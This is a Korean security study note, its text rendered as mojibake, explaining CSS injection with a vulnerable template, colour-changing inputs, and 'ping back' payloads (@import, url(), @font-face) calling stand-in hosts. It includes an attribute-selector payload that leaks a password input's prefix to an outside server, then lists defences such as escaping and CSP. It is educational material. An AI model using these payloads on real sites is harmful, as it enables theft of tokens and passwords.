[2025-08-13] CSS Injection

πŸ¦₯ λ³Έλ¬Έ

μ •μ˜ 및 κ°œλ…

CSS Injection은 μ‚¬μš©μž μž…λ ₯값을 CSS μ½”λ“œμ— 직접 μ‚½μž…ν•  λŒ€ λ°œμƒν•˜λŠ” 취약점. UI λ³€μ‘°, 데이터 νƒˆμ·¨, λΈŒλΌμš°μ € λ™μž‘ λ³€κ²½ 등을 μˆ˜ν–‰ν•  수 μžˆλ‹€.

  • λ°μ΄ν„°λ‘œλŠ” CSRF Token, ν”Όν•΄μžμ˜ API Key λ“± CSS μ„ νƒμžλ₯Ό 톡해 ν‘œν˜„μ΄ κ°€λŠ₯ν•œ λ°μ΄ν„°λ§Œ νƒˆμ·¨ κ°€λŠ₯.
  • CSS μ„ νƒμžλ‘œ ν‘œν˜„ λΆˆκ°€λŠ₯ν•œ 슀크립트 νƒœκ·Έ λ‚΄ λ°μ΄ν„°λŠ” νƒˆμ·¨ λΆˆκ°€

곡격 방법

  • 예제 μ½”λ“œ

      <style>
      body { background-color: ${theme}; }
      </style>
      <h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
      if '<' in theme:
          exit(0)
    
    • μ‚¬μš©μžμ˜ μž…λ ₯ theme 이 배경색을 κ²°μ •
  • 색상 λ³€κ²½
    • μœ„μ˜ μ½”λ“œμ—μ„œλŠ” body의 λ°°κ²½ μƒ‰λ§Œ 변경이 κ°€λŠ₯함
    • yellow; } h1 { color: red 값을 μž…λ ₯ν•˜λŠ” 경우 h1 νƒœκ·Έμ˜ 글씨 색 λ³€κ²½ κ°€λŠ₯
      <style>
      body { background-color: yellow; } h1 { color: red; }
      </style>
      <h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
    
  • IP Ping Back : Client-Side 곡격을 톡해 데이터λ₯Ό μ™ΈλΆ€λ‘œ νƒˆμ·¨ν•˜κΈ° μœ„ν•΄μ„œλŠ” 곡격자의 μ„œλ²„λ‘œ μš”μ²­μ„ 보내야 함. Ping Back을 톡해 μ™ΈλΆ€ μš”μ²­ 전솑 κ°€λŠ₯
    • μ™ΈλΆ€ λ¦¬μ†ŒμŠ€λ₯Ό λΆˆλŸ¬μ˜€λŠ” κΈ°λŠ₯

      CSS κ°€μ ― μ„€λͺ…
      @import 'https://leaking.via/css-import-string'; μ™ΈλΆ€ CSS νŒŒμΌμ„ λ‘œλ“œν•©λ‹ˆλ‹€. λͺ¨λ“  속성 쀑 κ°€μž₯ 상단에 μœ„μΉ˜ν•΄μ•Ό ν•˜λ©°, κ·Έλ ‡μ§€ μ•ŠμœΌλ©΄ @importλŠ” λ¬΄μ‹œλ©λ‹ˆλ‹€.
      @import url(https://leaking.via/css-import-url); url ν•¨μˆ˜λŠ” URL을 λΆˆλŸ¬μ˜€λŠ” 역할을 ν•©λ‹ˆλ‹€. 상황에 λ”°λΌμ„œ μ„ νƒμ μœΌλ‘œ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
      background: url(https://leaking.via/css-background); μš”μ†Œμ˜ 배경을 λ³€κ²½ν•  λ•Œ μ‚¬μš©ν•œ 이미지λ₯Ό λΆˆλŸ¬μ˜΅λ‹ˆλ‹€.
      @font-face { font-family: leak; src: url(https://leaking.via/css-font-face-src); } 뢈러올 폰트 파일의 μ£Όμ†Œλ₯Ό μ§€μ •ν•©λ‹ˆλ‹€.
      background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); CSSμ—μ„œ ν•¨μˆ˜λ₯Ό ν˜ΈμΆœν•  λ•Œ ascii ν˜•νƒœμ˜ "url"이 μ•„λ‹Œ hex ν˜•νƒœ("\000075\000072\00006C")도 μ§€μ›ν•©λ‹ˆλ‹€.
    • yellow; background: url(”https://aaaaaa.request.attack.server/ping-back”) 을 μž…λ ₯ν•˜λ©΄ ν•΄λ‹Ή μ„œλ²„μ— μš”μ²­μ„ λ³΄λ‚΄λŠ” λ°©μ‹μœΌλ‘œ IP ping back μˆ˜ν–‰

        <style>
        body { background-color: yellow; background: url("https://aaaaaa.request.attack.server/ping-back"); }
        </style>
        <h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
      
  • 데이터 νƒˆμ·¨
    • 예제 μ½”λ“œ

        <style>
        body { background-color: ${theme}; }
        </style>
        <h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
        <input readonly type="password" value="apple">
        if '<' in theme:
            exit(0)
      
      • input μš”μ†Œ μΆ”κ°€
    • CSS Attribute Selector (νŠΉμ„± μ„ νƒμž)

        input[attr=value] {}
      
      • attr이 value인 input μš”μ†Œμ— λŒ€ν•œ μŠ€νƒ€μΌ μ§€μ •
      ꡬ문 μ„€λͺ…
      [attr] attrμ΄λΌλŠ” μ΄λ¦„μ˜ νŠΉμ„±μ„ κ°€μ§„ μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€.
      [attr=val] attrμ΄λΌλŠ” μ΄λ¦„μ˜ νŠΉμ„±κ°’μ΄ μ •ν™•νžˆ value인 μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€.
      [attr~=value] attrμ΄λΌλŠ” μ΄λ¦„μ˜ νŠΉμ„±κ°’ 쀑 μ •ν™•νžˆ valueκ°€ μžˆλŠ” μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€. attr νŠΉμ„±μ€ 곡백으둜 κ΅¬λΆ„λœ μ—¬λŸ¬ 개의 값을 κ°€μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€.
      [attr^=value] attrμ΄λΌλŠ” νŠΉμ„±κ°’μ„ κ°€μ§€κ³  있으며, μ ‘λ‘μ‚¬λ‘œ valueκ°€ 값에 ν¬ν•¨λ˜μ–΄ 있으면 이 μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€.
      [attr$=value] attrμ΄λΌλŠ” νŠΉμ„±κ°’μ„ κ°€μ§€κ³  있으며, μ ‘λ―Έμ‚¬λ‘œ valueκ°€ 값에 ν¬ν•¨λ˜μ–΄ 있으면 이 μš”μ†Œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€.
    • yellow; } input[value^=S3CR3T_] { background: url("https://aaaaaaa.request.dreamhack.games/lols"); } μ½”λ“œλ₯Ό μž…ν•˜λ©΄ input μš”μ†Œμ˜ value μ†μ„±μ˜ 접두사가 S3CR3T_ 일 λ•Œ ν•΄λ‹Ή μ„œλ²„λ‘œ μš”μ²­ 전솑

        <style>
        body { background-color: yellow; } input[value^=S3CR3T_] { background: url("https://aaaaaaa.request.dreamhack.games/lols"); }
        </style>
        <h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
        <input readonly type="password" value="apple">
        if '<' in theme:
            exit(0)
      
    • input νƒœκ·Έμ˜ value 값을 μ•Œμ•„λ‚΄λŠ” 것이 μ™œ μ€‘μš”ν•œκ°€?

      β†’ readonly λ˜λŠ” hidden input μš”μ†Œμ— λΉ„λ°€λ²ˆν˜Έ, 토큰, 쿠폰 μ½”λ“œ, CSRF Token, μ„Έμ…˜ ν‚€ 등을 λ„£μ–΄λ‘λŠ” κ²½μš°κ°€ 많음

      β†’ 미리 μ±„μ›Œλ‘” 이메일 인증 λ²ˆν˜Έλ‚˜, κ΄€λ¦¬μž λΉ„λ°€λ²ˆν˜Έ 등을 νƒˆμ·¨ κ°€

λŒ€μ‘ 방법

  1. μž…λ ₯ 검증 : CSS ꡬ문에 μ‚¬μš©μž μž…λ ₯을 λ„£μ§€ μ•Šκ±°λ‚˜, λ°˜λ“œμ‹œ ν™”μ΄νŠΈλ¦¬μŠ€νŠΈλ‘œ μ œν•œ
  2. 좜λ ₯ μ‹œ μ΄μŠ€μΌ€μ΄ν”„ : CSS μ»¨ν…μŠ€νŠΈμ— λ§žλŠ” escaping 적용. CSS.escape() μ‚¬μš©
  3. CSP 적용 : style-src 속성을 selfλ‚˜ nonce 적용

Categories:

Updated:

Leave a comment